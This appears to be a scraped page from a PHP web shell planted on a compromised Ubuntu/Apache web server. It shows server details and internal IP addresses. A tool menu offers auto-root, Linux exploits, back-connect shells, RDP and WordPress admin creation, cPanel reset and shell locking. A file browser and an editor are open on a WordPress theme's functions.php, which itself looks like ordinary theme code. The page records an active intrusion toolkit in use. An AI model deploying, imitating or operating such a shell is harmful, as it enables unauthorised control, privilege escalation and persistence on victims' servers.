Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
blog /
wp-content /
themes /
baskerville /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
languages
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
404.php
1014
B
-rw-rw-rw-
archive.php
2.31
KB
-rw-rw-rw-
baskerville-editor-style.css
3.08
KB
-rw-rw-rw-
baskerville-gutenberg-editor-s...
7.72
KB
-rw-rw-rw-
comments.php
2.17
KB
-rw-rw-rw-
content-aside.php
257
B
-rw-rw-rw-
content-audio.php
902
B
-rw-rw-rw-
content-gallery.php
954
B
-rw-rw-rw-
content-image.php
960
B
-rw-rw-rw-
content-link.php
1.14
KB
-rw-rw-rw-
content-quote.php
1006
B
-rw-rw-rw-
content-status.php
156
B
-rw-rw-rw-
content-video.php
1.17
KB
-rw-rw-rw-
content.php
880
B
-rw-rw-rw-
footer.php
1.98
KB
-rw-rw-rw-
functions.php
25.1
KB
-rw-rw-rw-
header.php
3.5
KB
-rw-rw-rw-
image.php
2.01
KB
-rw-rw-rw-
index.php
1.62
KB
-rw-rw-rw-
license.txt
15.05
KB
-rw-rw-rw-
page.php
1.68
KB
-rw-rw-rw-
readme.txt
10.71
KB
-rw-rw-rw-
screenshot.png
310.95
KB
-rw-rw-rw-
search.php
1.55
KB
-rw-rw-rw-
searchform.php
302
B
-rw-rw-rw-
sidebar.php
1.67
KB
-rw-rw-rw-
single.php
8.31
KB
-rw-rw-rw-
style.css
64.62
KB
-rw-rw-rw-
template-archives.php
4.51
KB
-rw-rw-rw-
template-contributors.php
3.66
KB
-rw-rw-rw-
template-fullwidth.php
1.56
KB
-rw-rw-rw-
template-nosidebar.php
1.57
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : functions.php
<?php /* --------------------------------------------------------------------------------------------- THEME SETUP --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_setup' ) ) { function baskerville_setup() { // Automatic feed add_theme_support( 'automatic-feed-links' ); // Post thumbnails add_theme_support( 'post-thumbnails' ); add_image_size( 'post-image', 945, 9999 ); add_image_size( 'post-thumbnail', 600, 9999 ); // Post formats add_theme_support( 'post-formats', array( 'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video' ) ); // Custom header $args = array( 'width' => 1440, 'height' => 221, 'default-image' => get_template_directory_uri() . '/images/header.jpg', 'uploads' => true, 'header-text' => false ); add_theme_support( 'custom-header', $args ); // Add support for title_tag add_theme_support( 'title-tag' ); // Set content width global $content_width; if ( ! isset( $content_width ) ) $content_width = 676; // Add support for custom background $args = array( 'default-color' => '#f1f1f1' ); add_theme_support( "custom-background", $args ); // Add nav menu register_nav_menu( 'primary', __( 'Primary Menu', 'baskerville' ) ); // Make the theme translation ready load_theme_textdomain( 'baskerville', get_template_directory() . '/languages' ); } add_action( 'after_setup_theme', 'baskerville_setup' ); } /* --------------------------------------------------------------------------------------------- ENQUEUE SCRIPTS --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_load_javascript_files' ) ) { function baskerville_load_javascript_files() { if ( ! is_admin() ) { wp_register_script( 'baskerville_imagesloaded', get_template_directory_uri() . '/js/imagesloaded.pkgd.js', '', true ); wp_register_script( 'baskerville_flexslider', get_template_directory_uri() . '/js/flexslider.min.js', '', true ); wp_enqueue_script( 'baskerville_global', get_template_directory_uri() . '/js/global.js', array( 'jquery', 'masonry', 'baskerville_imagesloaded', 'baskerville_flexslider' ), '', true ); if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'baskerville_load_javascript_files' ); } /* --------------------------------------------------------------------------------------------- ENQUEUE STYLES --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_load_style' ) ) { function baskerville_load_style() { if ( ! is_admin() ) { $dependencies = array(); /** * Translators: If there are characters in your language that are not * supported by the theme fonts, translate this to 'off'. Do not translate * into your own language. */ $google_fonts = _x( 'on', 'Google Fonts: on or off', 'baskerville' ); if ( 'off' !== $google_fonts ) { // Register Google Fonts wp_register_style( 'baskerville_googleFonts', '//fonts.googleapis.com/css?family=Roboto+Slab:400,700|Roboto:400,400italic,700,700italic,300|Pacifico:400', false, 1.0, 'all' ); $dependencies[] = 'baskerville_googleFonts'; } // Enqueue the styles wp_enqueue_style( 'baskerville_style', get_template_directory_uri() . '/style.css', $dependencies, '1.0', 'all' ); } } add_action( 'wp_print_styles', 'baskerville_load_style' ); } /* --------------------------------------------------------------------------------------------- ADD EDITOR STYLES --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_add_editor_styles' ) ) { function baskerville_add_editor_styles() { add_editor_style( 'baskerville-editor-style.css' ); /** * Translators: If there are characters in your language that are not * supported by the theme fonts, translate this to 'off'. Do not translate * into your own language. */ $google_fonts = _x( 'on', 'Google Fonts: on or off', 'baskerville' ); if ( 'off' !== $google_fonts ) { $font_url = '//fonts.googleapis.com/css?family=Roboto+Slab:400,700|Roboto:400,400italic,700,700italic,300'; add_editor_style( str_replace( ',', '%2C', $font_url ) ); } } add_action( 'init', 'baskerville_add_editor_styles' ); } /* --------------------------------------------------------------------------------------------- ADD FOOTER WIDGET AREAS --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_sidebar_registration' ) ) { function baskerville_sidebar_registration() { register_sidebar( array( 'name' => __( 'Footer A', 'baskerville' ), 'id' => 'footer-a', 'description' => __( 'Widgets in this area will be shown in the left column in the footer.', 'baskerville' ), 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', 'before_widget' => '<div class="widget %2$s"><div class="widget-content">', 'after_widget' => '</div><div class="clear"></div></div>' ) ); register_sidebar( array( 'name' => __( 'Footer B', 'baskerville' ), 'id' => 'footer-b', 'description' => __( 'Widgets in this area will be shown in the middle column in the footer.', 'baskerville' ), 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', 'before_widget' => '<div class="widget %2$s"><div class="widget-content">', 'after_widget' => '</div><div class="clear"></div></div>' ) ); register_sidebar( array( 'name' => __( 'Footer C', 'baskerville' ), 'id' => 'footer-c', 'description' => __( 'Widgets in this area will be shown in the right column in the footer.', 'baskerville' ), 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', 'before_widget' => '<div class="widget %2$s"><div class="widget-content">', 'after_widget' => '</div><div class="clear"></div></div>' ) ); register_sidebar( array( 'name' => __( 'Sidebar', 'baskerville' ), 'id' => 'sidebar', 'description' => __( 'Widgets in this area will be shown in the sidebar.', 'baskerville' ), 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', 'before_widget' => '<div class="widget %2$s"><div class="widget-content">', 'after_widget' => '</div><div class="clear"></div></div>' ) ); } add_action( 'widgets_init', 'baskerville_sidebar_registration' ); } /* --------------------------------------------------------------------------------------------- ADD THEME WIDGETS --------------------------------------------------------------------------------------------- */ require_once( get_template_directory() . '/widgets/dribbble-widget.php' ); require_once( get_template_directory() . '/widgets/flickr-widget.php' ); /* --------------------------------------------------------------------------------------------- ADD CLASSES TO PAGINATION --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_pagination_classes_next' ) ) { function baskerville_pagination_classes_next() { return 'class="post-nav-older fleft"'; } add_filter( 'next_posts_link_attributes', 'baskerville_pagination_classes_next' ); } if ( ! function_exists( 'baskerville_pagination_classes_prev' ) ) { function baskerville_pagination_classes_prev() { return 'class="post-nav-newer fright"'; } add_filter( 'previous_posts_link_attributes', 'baskerville_pagination_classes_prev' ); } /* --------------------------------------------------------------------------------------------- CUSTOM NAV WALKER WITH HAS-CHILDREN CLASS --------------------------------------------------------------------------------------------- */ class baskerville_nav_walker extends Walker_Nav_Menu { function display_element( $element, &$children_elements, $max_depth, $depth = 0, $args, &$output ) { $id_field = $this->db_fields['id']; if ( ! empty( $children_elements[$element->$id_field] ) ) { $element->classes[] = 'has-children'; } Walker_Nav_Menu::display_element( $element, $children_elements, $max_depth, $depth, $args, $output ); } } /* --------------------------------------------------------------------------------------------- BODY CLASSES --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_body_classes' ) ) { function baskerville_body_classes( $classes ) { // If has post thumbnail $classes[] = has_post_thumbnail() ? 'has-featured-image' : 'no-featured-image'; // If is mobile if ( wp_is_mobile() ) { $classes[] = 'is_mobile'; } // Replicate single classes on other pages if ( is_singular() || is_404() ) { $classes[] = 'single single-post'; } return $classes; } add_action( 'body_class', 'baskerville_body_classes' ); } /* --------------------------------------------------------------------------------------------- CUSTOM EXCERPT LENGTH --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_custom_excerpt_length' ) ) { function baskerville_custom_excerpt_length( $length ) { return 40; } add_filter( 'excerpt_length', 'baskerville_custom_excerpt_length', 999 ); } /* --------------------------------------------------------------------------------------------- CUSTOM EXCERPT OUTPUT --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_new_excerpt_more' ) ) { function baskerville_new_excerpt_more( $more ) { return '... <a class="more-link" href="'. get_permalink( get_the_ID() ) . '">' . __( 'Continue Reading', 'baskerville' ) . ' →</a>'; } add_filter( 'excerpt_more', 'baskerville_new_excerpt_more' ); } /* --------------------------------------------------------------------------------------------- BASKERVILLE META FUNCTION --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_meta' ) ) { function baskerville_meta() { ?> <div class="post-meta"> <a class="post-date" href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_time( 'Y/m/d' ); ?></a> <?php if ( function_exists( 'zilla_likes' ) ) zilla_likes(); if ( comments_open() ) { comments_popup_link( '0', '1', '%', 'post-comments' ); } edit_post_link(); ?> <div class="clear"></div> </div><!-- .post-meta --> <?php } } /* --------------------------------------------------------------------------------------------- ADMIN CSS --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_admin_css' ) ) { function baskerville_admin_css() { ?> <style type="text/css"> #postimagediv #set-post-thumbnail img { max-width: 100%; height: auto; } </style> <?php } add_action( 'admin_head', 'baskerville_admin_css' ); } /* --------------------------------------------------------------------------------------------- FLEXSLIDER OUTPUT --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_flexslider' ) ) { function baskerville_flexslider( $size = 'thumbnail' ) { $attachment_parent = is_page() ? $post->ID : get_the_ID(); $images = get_posts( array( 'orderby' => 'menu_order', 'order' => 'ASC', 'post_mime_type' => 'image', 'post_parent' => $attachment_parent, 'post_status' => null, 'post_type' => 'attachment', 'posts_per_page' => -1, ) ); if ( $images ) { ?> <div class="flexslider"> <ul class="slides"> <?php foreach( $images as $image ) : $attimg = wp_get_attachment_image( $image->ID, $size ); ?> <li> <?php echo $attimg; ?> <?php if ( ! empty( $image->post_excerpt ) && is_single() ) : ?> <div class="media-caption-container"> <p class="media-caption"><?php echo $image->post_excerpt; ?></p> </div> <?php endif; ?> </li> <?php endforeach; ?> </ul> </div><!-- .flexslider --> <?php } } } /* --------------------------------------------------------------------------------------------- BASKERVILLE COMMENT FUNCTION --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_comment' ) ) { function baskerville_comment( $comment, $args, $depth ) { switch ( $comment->comment_type ) : case 'pingback' : case 'trackback' : ?> <li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>"> <?php __( 'Pingback:', 'baskerville' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( __( '(Edit)', 'baskerville' ), '<span class="edit-link">', '</span>' ); ?> </li> <?php break; default : global $post; ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <div id="comment-<?php comment_ID(); ?>" class="comment"> <?php echo get_avatar( $comment, 80 ); ?> <div class="comment-inner"> <div class="comment-header"> <?php printf( '<cite class="fn">%1$s</cite>', get_comment_author_link() ); ?> <p><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ) ?>"><?php printf( _x( '%1$s at %2$s', '[date] at [time of day]', 'baskerville' ), get_comment_date(), get_comment_time() ); ?></a></p> <div class="comment-actions"> <?php edit_comment_link( __( 'Edit', 'baskerville' ), '', '' ); ?> <?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'baskerville' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> <div class="clear"></div> </div><!-- .comment-actions --> </div><!-- .comment-header --> <div class="comment-content"> <?php if ( '0' == $comment->comment_approved ) : ?> <p class="comment-awaiting-moderation"><?php _e( 'Awaiting moderation', 'baskerville' ); ?></p> <?php endif; ?> <?php comment_text(); ?> </div><!-- .comment-content --> <div class="comment-actions-below hidden"> <?php edit_comment_link( __( 'Edit', 'baskerville' ), '', '' ); ?> <?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'baskerville' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> <div class="clear"></div> </div><!-- .comment-actions --> </div><!-- .comment-inner --> </div><!-- .comment-## --> <?php break; endswitch; } } /* --------------------------------------------------------------------------------------------- ADD TWITTER FIELD TO USER PROFILES --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_modify_contact_methods' ) ) { function baskerville_modify_contact_methods( $profile_fields ) { // Add new fields $profile_fields['twitter'] = __( 'Twitter-username (without the @)', 'baskerville' ); return $profile_fields; } add_filter( 'user_contactmethods', 'baskerville_modify_contact_methods' ); } /* --------------------------------------------------------------------------------------------- ADD OPTION FOR SHOWING OR HIDING EMAIL ADDRESS FOR AUTHORS --------------------------------------------------------------------------------------------- */ /* DISPLAY FIELDS */ if ( ! function_exists( 'baskerville_show_extra_profile_fields' ) ) { function baskerville_show_extra_profile_fields( $user ) { ?> <h3><?php _e( 'Extra profile information', 'baskerville' ); ?></h3> <table class="form-table"> <tr> <th><label for="showemail"><?php _e( 'Show email', 'baskerville' ); ?></label></th> <td> <input type="checkbox" name="showemail" id="showemail" value="yes"<?php if ( esc_attr( get_the_author_meta( "showemail", $user->ID )) == "yes") echo " checked"; ?> /> <span class="description"><?php _e( 'Check if you want to display your email address in single posts and the contributors page template.', 'baskerville' ); ?></span> </td> </tr> </table> <?php } add_action( 'show_user_profile', 'baskerville_show_extra_profile_fields' ); add_action( 'edit_user_profile', 'baskerville_show_extra_profile_fields' ); } /* SAVE FIELDS */ if ( ! function_exists( 'baskerville_save_extra_profile_fields' ) ) { function baskerville_save_extra_profile_fields( $user_id ) { if ( ! current_user_can( 'edit_user', $user_id ) ) return false; update_user_meta( $user_id, 'showemail', $_POST['showemail'] ); } add_action( 'personal_options_update', 'baskerville_save_extra_profile_fields' ); add_action( 'edit_user_profile_update', 'baskerville_save_extra_profile_fields' ); } /* --------------------------------------------------------------------------------------------- BASKERVILLE THEME OPTIONS --------------------------------------------------------------------------------------------- */ class baskerville_Customize { public static function register ( $wp_customize ) { //1. Define a new section (if desired) to the Theme Customizer $wp_customize->add_section( 'baskerville_options', array( 'title' => __( 'Baskerville Options', 'baskerville' ), //Visible title of section 'priority' => 35, //Determines what order this appears in 'capability' => 'edit_theme_options', //Capability needed to tweak 'description' => __('Allows you to customize some settings for Baskerville.', 'baskerville'), //Descriptive tooltip ) ); $wp_customize->add_section( 'baskerville_logo_section' , array( 'title' => __( 'Logo', 'baskerville' ), 'priority' => 40, 'description' => 'Upload a logo to replace the default site name and description in the header', ) ); //2. Register new settings to the WP database... $wp_customize->add_setting( 'baskerville_logo', array( 'sanitize_callback' => 'esc_url_raw' ) ); //3. Finally, we define the control itself (which links a setting to a section and renders the HTML controls)... $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'baskerville_logo', array( 'label' => __( 'Logo', 'baskerville' ), 'section' => 'baskerville_logo_section', 'settings' => 'baskerville_logo', ) ) ); //4. We can also change built-in settings by modifying properties. For instance, let's make some stuff use live preview JS... $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; } public static function generate_css( $selector, $style, $mod_name, $prefix='', $postfix='', $echo=true ) { $return = ''; $mod = get_theme_mod($mod_name); if ( ! empty( $mod ) ) { $return = sprintf('%s { %s:%s; }', $selector, $style, $prefix.$mod.$postfix ); if ( $echo ) echo $return; } return $return; } } // Setup the Theme Customizer settings and controls... add_action( 'customize_register' , array( 'baskerville_Customize' , 'register' ) ); /* --------------------------------------------------------------------------------------------- SPECIFY GUTENBERG SUPPORT ------------------------------------------------------------------------------------------------ */ if ( ! function_exists( 'baskerville_add_gutenberg_features' ) ) : function baskerville_add_gutenberg_features() { add_theme_support( 'align-wide' ); /* Gutenberg Palette --------------------------------------- */ add_theme_support( 'editor-color-palette', array( array( 'name' => _x( 'Cyan', 'Name of the cyan color in the Gutenberg palette', 'baskerville' ), 'slug' => 'accent', 'color' => '#13C4A5', ), array( 'name' => _x( 'Black', 'Name of the black color in the Gutenberg palette', 'baskerville' ), 'slug' => 'black', 'color' => '#222', ), array( 'name' => _x( 'Dark Gray', 'Name of the dark gray color in the Gutenberg palette', 'baskerville' ), 'slug' => 'dark-gray', 'color' => '#444', ), array( 'name' => _x( 'Medium Gray', 'Name of the medium gray color in the Gutenberg palette', 'baskerville' ), 'slug' => 'medium-gray', 'color' => '#666', ), array( 'name' => _x( 'Light Gray', 'Name of the light gray color in the Gutenberg palette', 'baskerville' ), 'slug' => 'light-gray', 'color' => '#888', ), array( 'name' => _x( 'White', 'Name of the white color in the Gutenberg palette', 'baskerville' ), 'slug' => 'white', 'color' => '#fff', ), ) ); /* Gutenberg Font Sizes --------------------------------------- */ add_theme_support( 'editor-font-sizes', array( array( 'name' => _x( 'Small', 'Name of the small font size in Gutenberg', 'baskerville' ), 'shortName' => _x( 'S', 'Short name of the small font size in the Gutenberg editor.', 'baskerville' ), 'size' => 16, 'slug' => 'small', ), array( 'name' => _x( 'Regular', 'Name of the regular font size in Gutenberg', 'baskerville' ), 'shortName' => _x( 'M', 'Short name of the regular font size in the Gutenberg editor.', 'baskerville' ), 'size' => 18, 'slug' => 'regular', ), array( 'name' => _x( 'Large', 'Name of the large font size in Gutenberg', 'baskerville' ), 'shortName' => _x( 'L', 'Short name of the large font size in the Gutenberg editor.', 'baskerville' ), 'size' => 24, 'slug' => 'large', ), array( 'name' => _x( 'Larger', 'Name of the larger font size in Gutenberg', 'baskerville' ), 'shortName' => _x( 'XL', 'Short name of the larger font size in the Gutenberg editor.', 'baskerville' ), 'size' => 32, 'slug' => 'larger', ), ) ); } add_action( 'after_setup_theme', 'baskerville_add_gutenberg_features' ); endif; /* --------------------------------------------------------------------------------------------- GUTENBERG EDITOR STYLES --------------------------------------------------------------------------------------------- */ if ( ! function_exists( 'baskerville_block_editor_styles' ) ) : function baskerville_block_editor_styles() { $dependencies = array(); /** * Translators: If there are characters in your language that are not * supported by the theme fonts, translate this to 'off'. Do not translate * into your own language. */ $google_fonts = _x( 'on', 'Google Fonts: on or off', 'baskerville' ); if ( 'off' !== $google_fonts ) { // Register Google Fonts wp_register_style( 'baskerville-block-editor-styles-font', '//fonts.googleapis.com/css?family=Roboto+Slab:400,700|Roboto:400,400italic,700,700italic,300', false, 1.0, 'all' ); $dependencies[] = 'baskerville-block-editor-styles-font'; } // Enqueue the editor styles wp_enqueue_style( 'baskerville-block-editor-styles', get_theme_file_uri( '/baskerville-gutenberg-editor-style.css' ), $dependencies, '1.0', 'all' ); } add_action( 'enqueue_block_editor_assets', 'baskerville_block_editor_styles', 1 ); endif; function gt_get_post_view() { $count = get_post_meta( get_the_ID(), 'post_views_count', true ); return "$count views"; } function gt_set_post_view() { $key = 'post_views_count'; $post_id = get_the_ID(); $count = (int) get_post_meta( $post_id, $key, true ); $count++; update_post_meta( $post_id, $key, $count ); } function gt_posts_column_views( $columns ) { $columns['post_views'] = 'Views'; return $columns; } function gt_posts_custom_column_views( $column ) { if ( $column === 'post_views') { echo gt_get_post_view(); } } add_filter( 'manage_posts_columns', 'gt_posts_column_views' ); add_action( 'manage_posts_custom_column', 'gt_posts_custom_column_views' ); ?>
Close